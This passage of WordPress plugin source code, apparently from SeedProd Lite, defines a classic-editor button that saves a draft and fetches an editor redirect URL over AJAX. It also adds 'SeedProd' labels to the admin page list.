		$('#seedprod-classic-edit-button').on('click', function(e) {
			e.preventDefault();

			var postId = <?php echo absint( $post_id ); ?>;
			var postStatus = '<?php echo esc_js( get_post_status( $post_id ) ); ?>';
			var isAutoDraft = postStatus === 'auto-draft';

			if (isAutoDraft) {
				// For new posts, save first then redirect
				// Get the title
				var title = $('#title').val();
				if (!title) {
					title = 'SeedProd #' + postId;
					$('#title').val(title);
				}

				// Trigger save
				$('#publish').click();

				// Wait a moment then redirect
				setTimeout(function() {
					getRedirectUrl(postId);
				}, 1000);
			} else {
				// Existing post - redirect immediately
				getRedirectUrl(postId);
			}
		});

		function getRedirectUrl(postId) {
			$.ajax({
				url: ajaxurl,
				type: 'POST',
				data: {
					action: 'seedprod_lite_v2_get_redirect_url',
					nonce: '<?php echo esc_js( wp_create_nonce( 'seedprod_gutenberg_nonce' ) ); ?>',
					post_id: postId
				},
				success: function(response) {
					if (response.success) {
						location.href = response.data.redirect_url;
					} else {
						console.error('Error:', response.data.message);
						alert('Error: ' + response.data.message);
					}
				},
				error: function(xhr, status, error) {
					console.error('AJAX Error:', status, error);
					alert('Failed to get redirect URL. Check console for details.');
				}
			});
		}
	});
	</script>
	<?php
}
add_action( 'post_submitbox_misc_actions', 'seedprod_lite_v2_classic_editor_button' );


/**
 * Add "SeedProd" label to page list
 * Shows "SeedProd" for theme pages, "SeedProd Landing Page" for landing pages
 *
 * @param string[] $post_states An array of post display states.
 * @param WP_Post  $post        The current post object.
 * @return string[] Modified array of post display states.
 */
function seedprod_lite_v2_add_post_state( $post_states, $post ) {
	// Only for pages.
	if ( 'page' !== $post->post_type ) {
		return $post_states;
	}

	// Check for theme page (_seedprod_edited_with_seedprod).
	$is_theme_page = get_post_meta( $post->ID, '_seedprod_edited_with_seedprod', true );
	if ( ! empty( $is_theme_page ) ) {
		$post_states['seedprod-editor'] = __( 'SeedProd', 'coming-soon' );
		return $post_states;
	}

	// Check for landing page (_seedprod_page).
	$is_landing_page = get_post_meta( $post->ID, '_seedprod_page', true );
	if ( ! empty( $is_landing_page ) ) {
		$post_states['seedprod'] = __( 'SeedProd Landing Page', 'coming-soon' );
		return $post_states;
	}

	return $post_states;
}
add_filter( 'display_post_states', 'seedprod_lite_v2_add_post_state', 10, 2 );